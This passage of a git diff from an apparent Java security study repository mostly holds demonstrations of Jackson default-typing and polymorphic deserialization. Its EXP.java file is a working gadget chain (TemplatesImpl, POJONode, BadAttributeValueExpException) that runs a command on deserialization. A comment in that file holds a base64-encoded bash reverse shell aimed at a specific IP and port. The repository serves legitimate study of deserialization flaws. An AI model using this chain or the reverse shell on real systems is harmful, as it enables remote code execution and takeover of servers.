p.object = new Hacker(); + ObjectMapper mapper = new ObjectMapper(); + + String json = mapper.writeValueAsString(p); + System.out.println(json); + + Person2 p2 = mapper.readValue(json, Person2.class); + System.out.println(p2); + } +} \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person.java index e1f883f6..2d3d7fdd 100644 --- a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person.java +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person.java @@ -1,11 +1,17 @@ package com.drunkbaby; +import com.drunkbaby.defaultTyping.object_and_non_concrete.Sex; + +// 基础序列化与反序列化(多态实现) public class Person { public int age; public String name; + public Object object; + public Sex sex; + public Hacker hacker; @Override public String toString() { - return String.format("com.drunkbaby.Person.age=%d, com.drunkbaby.Person.name=%s", age, name); + return String.format("Person.age=%d, Person.name=%s, %s, %s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex, hacker == null ? "null" : hacker); } } \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person2.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person2.java new file mode 100644 index 00000000..89f21e0e --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person2.java @@ -0,0 +1,16 @@ +package com.drunkbaby; + +import com.fasterxml.jackson.annotation.JsonTypeInfo; + +// JsonTypeInfo.Id.xxx 实现 +public class Person2 { + public int age; + public String name; + @JsonTypeInfo(use = JsonTypeInfo.Id.NAME) + public Object object; + + @Override + public String toString() { + return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object); + } +} \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person3.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person3.java new file mode 100644 index 00000000..47aea865 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person3.java @@ -0,0 +1,26 @@ +package com.drunkbaby; + +import com.drunkbaby.defaultTyping.object_and_non_concrete.Sex; +import com.fasterxml.jackson.annotation.JsonTypeInfo; + +// 反序列化时用到的 Person 类 +public class Person3 { + public int age; + public String name; +// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) + // 或 @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) + public Sex sex; + + public Person3() { + System.out.println("Person3 构造函数"); + } + + public void setAge(int age) { + System.out.println("Person3 setter 函数"); + } + + @Override + public String toString() { + return String.format("Person.age=%d, Person.name=%s, %s", age, name, sex == null ? "null" : sex); + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person4.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person4.java new file mode 100644 index 00000000..d565a5ea --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/Person4.java @@ -0,0 +1,25 @@ +package com.drunkbaby; + +import com.drunkbaby.defaultTyping.object_and_non_concrete.Sex; + +// 反序列化时用到的 Person 类 +public class Person4 { + public int age; + public String name; +// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) + // 或 @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) + public Object object; + + public Person4() { + System.out.println("Person4 构造函数"); + } + + public void setAge(int age) { + System.out.println("Person4 setter 函数"); + } + + @Override + public String toString() { + return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object); + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/java_lang_object/JAVA_LANG_OBJECT_Test.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/java_lang_object/JAVA_LANG_OBJECT_Test.java new file mode 100644 index 00000000..953a2cef --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/java_lang_object/JAVA_LANG_OBJECT_Test.java @@ -0,0 +1,23 @@ +package com.drunkbaby.defaultTyping.java_lang_object; + +import com.drunkbaby.Hacker; +import com.drunkbaby.Person; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class JAVA_LANG_OBJECT_Test { + public static void main(String[] args) throws Exception { + Person p = new Person(); + p.age = 6; + p.name = "drunkbaby"; + p.object = new Hacker(); + ObjectMapper mapper = new ObjectMapper(); + // 设置JAVA_LANG_OBJECT + mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); + + String json = mapper.writeValueAsString(p); + System.out.println(json); + + Person p2 = mapper.readValue(json, Person.class); + System.out.println(p2); + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/java_lang_object/NoJava_LANG_OBJECT.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/java_lang_object/NoJava_LANG_OBJECT.java new file mode 100644 index 00000000..717b670d --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/java_lang_object/NoJava_LANG_OBJECT.java @@ -0,0 +1,21 @@ +package com.drunkbaby.defaultTyping.java_lang_object; + +import com.drunkbaby.Hacker; +import com.drunkbaby.Person; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class NoJava_LANG_OBJECT { + public static void main(String[] args) throws Exception { + Person p = new Person(); + p.age = 6; + p.name = "drunkbaby"; + p.object = new Hacker(); + ObjectMapper mapper = new ObjectMapper(); + + String json = mapper.writeValueAsString(p); + System.out.println(json); + + Person p2 = mapper.readValue(json, Person.class); + System.out.println(p2); + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/non_concrete_and_arrays/NON_CONCRETE_AND_ARRAYS_Test.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/non_concrete_and_arrays/NON_CONCRETE_AND_ARRAYS_Test.java new file mode 100644 index 00000000..c41d9b75 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/non_concrete_and_arrays/NON_CONCRETE_AND_ARRAYS_Test.java @@ -0,0 +1,28 @@ +package com.drunkbaby.defaultTyping.non_concrete_and_arrays; + +import com.drunkbaby.Person; +import com.drunkbaby.Hacker; +import com.drunkbaby.defaultTyping.object_and_non_concrete.MySex; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class NON_CONCRETE_AND_ARRAYS_Test { + public static void main(String[] args) throws Exception { + Person p = new Person(); + p.age = 6; + p.name = "drunkbaby"; + Hacker[] hackers = new Hacker[2]; + hackers[0] = new Hacker(); + hackers[1] = new Hacker(); + p.object = hackers; + p.sex = new MySex(); + ObjectMapper mapper = new ObjectMapper(); + // 设置NON_CONCRETE_AND_ARRAYS + mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); + + String json = mapper.writeValueAsString(p); + System.out.println(json); + + Person p2 = mapper.readValue(json, Person.class); + System.out.println(p2); + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/non_final/NON_FINAL_Test.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/non_final/NON_FINAL_Test.java new file mode 100644 index 00000000..e09e7bcb --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/non_final/NON_FINAL_Test.java @@ -0,0 +1,26 @@ +package com.drunkbaby.defaultTyping.non_final; + +import com.drunkbaby.Person; +import com.drunkbaby.Hacker; +import com.drunkbaby.defaultTyping.object_and_non_concrete.MySex; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class NON_FINAL_Test { + public static void main(String[] args) throws Exception { + Person p = new Person(); + p.age = 6; + p.name = "drunkbaby"; + p.object = new Hacker(); + p.sex = new MySex(); + p.hacker = new Hacker(); + ObjectMapper mapper = new ObjectMapper(); + // 设置NON_FINAL + mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); + + String json = mapper.writeValueAsString(p); + System.out.println(json); + + Person p2 = mapper.readValue(json, Person.class); + System.out.println(p2); + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/MySex.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/MySex.java new file mode 100644 index 00000000..42c27379 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/MySex.java @@ -0,0 +1,15 @@ +package com.drunkbaby.defaultTyping.object_and_non_concrete; + +public class MySex implements Sex { + int sex; + + @Override + public int getSex() { + return sex; + } + + @Override + public void setSex(int sex) { + this.sex = sex; + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/OBJECT_AND_NON_CONCRETE_Test.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/OBJECT_AND_NON_CONCRETE_Test.java new file mode 100644 index 00000000..52085b29 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/OBJECT_AND_NON_CONCRETE_Test.java @@ -0,0 +1,26 @@ +package com.drunkbaby.defaultTyping.object_and_non_concrete; + +import com.drunkbaby.Person; +import com.drunkbaby.Hacker; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class OBJECT_AND_NON_CONCRETE_Test { + public static void main(String[] args) throws Exception { + Person p = new Person(); + p.age = 6; + p.name = "drunkbaby"; + p.object = new Hacker(); + p.sex = new MySex(); + ObjectMapper mapper = new ObjectMapper(); + // 设置OBJECT_AND_NON_CONCRETE + mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); + // 或直接无参调用,输出一样 + //mapper.enableDefaultTyping(); + + String json = mapper.writeValueAsString(p); + System.out.println(json); + + Person p2 = mapper.readValue(json, Person.class); + System.out.println(p2); + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/Sex.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/Sex.java new file mode 100644 index 00000000..f144be19 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/defaultTyping/object_and_non_concrete/Sex.java @@ -0,0 +1,6 @@ +package com.drunkbaby.defaultTyping.object_and_non_concrete; + +public interface Sex { + public void setSex(int sex); + public int getSex(); +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/DeserializationTest.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/DeserializationTest.java new file mode 100644 index 00000000..fffc4dd0 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/DeserializationTest.java @@ -0,0 +1,19 @@ +package com.drunkbaby.deserialization; + +import com.drunkbaby.Person; +import com.drunkbaby.Person3; +import com.fasterxml.jackson.databind.ObjectMapper; + +//两种反序列化方式之一 +public class DeserializationTest { + + public static void main(String[] args) throws Exception { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + + String json = "{\"age\":6,\"name\":\"drunkbaby\",\"sex\":[\"com.drunkbaby.deserialization.MySex2\",{\"sex\":1}]}"; + Person3 p2 = mapper.readValue(json, Person3.class); + System.out.println(p2); + + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/DeserializationTest2.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/DeserializationTest2.java new file mode 100644 index 00000000..1b5229fb --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/DeserializationTest2.java @@ -0,0 +1,19 @@ +package com.drunkbaby.deserialization; + +import com.drunkbaby.Person; +import com.drunkbaby.Person3; +import com.fasterxml.jackson.databind.ObjectMapper; + +// 两种反序列化方式之二,最终结果等效 +public class DeserializationTest2 { + + public static void main(String[] args) throws Exception { + ObjectMapper mapper = new ObjectMapper(); +// mapper.enableDefaultTyping(); + + String json = "{\"age\":6,\"name\":\"drunkbaby\",\"sex\":[\"com.drunkbaby.deserialization.MySex2\",{\"sex\":1}]}"; + Person3 p2 = mapper.readValue(json, Person3.class); + System.out.println(p2); + + } +} diff --git a/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/MySex2.java b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/MySex2.java new file mode 100644 index 00000000..5a5bf086 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonBasic/src/main/java/com/drunkbaby/deserialization/MySex2.java @@ -0,0 +1,22 @@ +package com.drunkbaby.deserialization; + +import com.drunkbaby.defaultTyping.object_and_non_concrete.Sex; + +public class MySex2 implements Sex { + int sex; + public MySex2() { + System.out.println("MySex构造函数"); + } + + @Override + public int getSex() { + System.out.println("MySex.getSex"); + return sex; + } + + @Override + public void setSex(int sex) { + System.out.println("MySex.setSex"); + this.sex = sex; + } +} \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonSerialize/.gitignore b/JavaSecurity/Jackson/JacksonSerialize/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/Jackson/JacksonSerialize/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonSerialize/pom.xml b/JavaSecurity/Jackson/JacksonSerialize/pom.xml new file mode 100644 index 00000000..cf0d503a --- /dev/null +++ b/JavaSecurity/Jackson/JacksonSerialize/pom.xml @@ -0,0 +1,17 @@ + + + 4.0.0 + + org.example + JacksonSerialize + 1.0-SNAPSHOT + + + 8 + 8 + UTF-8 + + + \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonSerialize/ser.bin b/JavaSecurity/Jackson/JacksonSerialize/ser.bin new file mode 100644 index 00000000..2d4baa25 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/ser.bin differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/EXP.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/EXP.java new file mode 100644 index 00000000..645d742b --- /dev/null +++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/EXP.java @@ -0,0 +1,77 @@ +package org.example.drunkbaby; + +import com.fasterxml.jackson.databind.node.BaseJsonNode; +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import java.io.*; +import java.lang.reflect.Field; + +public class EXP { + public static void main(String[] args) throws Exception { + + String cmd = "calc"; + byte[] code = getTemplates(cmd); + byte[][] codes = {code}; + + TemplatesImpl template = new TemplatesImpl(); + setFieldValue(template, "_name", "Drunkbaby"); + setFieldValue(template, "_tfactory", new TransformerFactoryImpl()); + setFieldValue(template, "_bytecodes", codes); + + POJONode pojoNode = new POJONode(template); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + + setFieldValue(badAttributeValueExpException, "val", pojoNode); + + serialize(badAttributeValueExpException); + deserialize("ser.bin"); + + } + + public static byte[] getTemplates(String cmd) { + try { + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.makeClass("Evil"); + CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + ctClass.setSuperclass(superClass); + CtConstructor constructor = ctClass.makeClassInitializer(); + constructor.setBody(" try {\n" + + " Runtime.getRuntime().exec(\"" + cmd + + "\");\n" + + " } catch (Exception ignored) {\n" + + " }"); + // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}" + byte[] bytes = ctClass.toBytecode(); + ctClass.defrost(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[]{}; + } + } + + public static void setFieldValue(Object obj, String field, Object val) throws Exception { + Field dField = obj.getClass().getDeclaredField(field); + dField.setAccessible(true); + dField.set(obj, val); + } + + public static void serialize(Object obj) throws IOException { + ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); + objectOutputStream.writeObject(obj); + objectOutputStream.close(); + } + + public static Object deserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/main/SerializeTest.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/main/SerializeTest.java new file mode 100644 index 00000000..edb0ebc6 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/main/SerializeTest.java @@ -0,0 +1,16 @@ +package org.example.drunkbaby.main; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.example.drunkbaby.pojo.Person; + +public class SerializeTest { + public static void main(String[] args) throws Exception { + Person p = new Person(); + p.age = 6; + p.name = "Drunkbaby"; + ObjectMapper mapper = new ObjectMapper(); + + String json = mapper.writeValueAsString(p); + System.out.println(json); + } +} diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Hacker.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Hacker.java new file mode 100644 index 00000000..a6577cd8 --- /dev/null +++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Hacker.java @@ -0,0 +1,5 @@ +package org.example.drunkbaby.pojo; + +public class Hacker { + public String skill = "hiphop"; +} diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Person.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Person.java new file mode 100644 index 00000000..9e27c89a --- /dev/null +++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Person.java @@ -0,0 +1,39 @@ +package org.example.drunkbaby.pojo; + +// 基础序列化与反序列化(多态实现) +public class Person { + public int age; + public String name; + public Object object; + public Sex sex; + public Hacker hacker; + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Object getObject() { + return object; + } + + public void setObject(Object object) { + this.object = object; + } + + @Override + public String toString() { + return String.format("Person.age=%d, Person.name=%s, %s, %s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex, hacker == null ? "null" : hacker); + } +} \ No newline at end of file diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Sex.java b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Sex.java new file mode 100644 index 00000000..1215e64f --- /dev/null +++ b/JavaSecurity/Jackson/JacksonSerialize/src/main/java/org/example/drunkbaby/pojo/Sex.java @@ -0,0 +1,6 @@ +package org.example.drunkbaby.pojo; + +public interface Sex { + public void setSex(int sex); + public int getSex(); +} diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-annotations-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-annotations-2.13.3.jar new file mode 100644 index 00000000..60a3ddba Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-annotations-2.13.3.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-core-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-core-2.13.3.jar new file mode 100644 index 00000000..7e2086d3 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-core-2.13.3.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-databind-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-databind-2.13.3.jar new file mode 100644 index 00000000..a27e9d70 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-databind-2.13.3.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jdk8-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jdk8-2.13.3.jar new file mode 100644 index 00000000..6e6a5a9c Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jdk8-2.13.3.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jsr310-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jsr310-2.13.3.jar new file mode 100644 index 00000000..a0ea06bb Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-datatype-jsr310-2.13.3.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-module-parameter-names-2.13.3.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-module-parameter-names-2.13.3.jar new file mode 100644 index 00000000..da15bb25 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jackson-module-parameter-names-2.13.3.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jakarta.annotation-api-1.3.5.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jakarta.annotation-api-1.3.5.jar new file mode 100644 index 00000000..606d992e Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jakarta.annotation-api-1.3.5.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/javassist-3.12.0.GA.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/javassist-3.12.0.GA.jar new file mode 100644 index 00000000..8f692f4f Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/javassist-3.12.0.GA.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jul-to-slf4j-1.7.36.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jul-to-slf4j-1.7.36.jar new file mode 100644 index 00000000..ae8f815e Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jul-to-slf4j-1.7.36.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-api-2.17.2.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-api-2.17.2.jar new file mode 100644 index 00000000..16d9061d Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-api-2.17.2.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-to-slf4j-2.17.2.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-to-slf4j-2.17.2.jar new file mode 100644 index 00000000..d6c35f41 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-to-slf4j-2.17.2.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-classic-1.2.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-classic-1.2.11.jar new file mode 100644 index 00000000..b70c0e6a Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-classic-1.2.11.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-core-1.2.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-core-1.2.11.jar new file mode 100644 index 00000000..e3038da2 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-core-1.2.11.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/slf4j-api-1.7.36.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/slf4j-api-1.7.36.jar new file mode 100644 index 00000000..7d3ce68d Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/slf4j-api-1.7.36.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/snakeyaml-1.29.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/snakeyaml-1.29.jar new file mode 100644 index 00000000..b7db2483 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/snakeyaml-1.29.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-aop-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-aop-5.3.22.jar new file mode 100644 index 00000000..4cd4a5e4 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-aop-5.3.22.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-beans-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-beans-5.3.22.jar new file mode 100644 index 00000000..a221f6ff Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-beans-5.3.22.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-2.6.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-2.6.11.jar new file mode 100644 index 00000000..7ff3685e Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-2.6.11.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-autoconfigure-2.6.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-autoconfigure-2.6.11.jar new file mode 100644 index 00000000..d01fe1f0 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-autoconfigure-2.6.11.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-jarmode-layertools-2.6.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-jarmode-layertools-2.6.11.jar new file mode 100644 index 00000000..f8004408 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-jarmode-layertools-2.6.11.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-context-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-context-5.3.22.jar new file mode 100644 index 00000000..64204499 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-context-5.3.22.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-core-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-core-5.3.22.jar new file mode 100644 index 00000000..c6685090 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-core-5.3.22.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-expression-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-expression-5.3.22.jar new file mode 100644 index 00000000..ceaaf793 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-expression-5.3.22.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-jcl-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-jcl-5.3.22.jar new file mode 100644 index 00000000..6d125c09 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-jcl-5.3.22.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-web-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-web-5.3.22.jar new file mode 100644 index 00000000..f6b6e668 Binary files /dev/null and 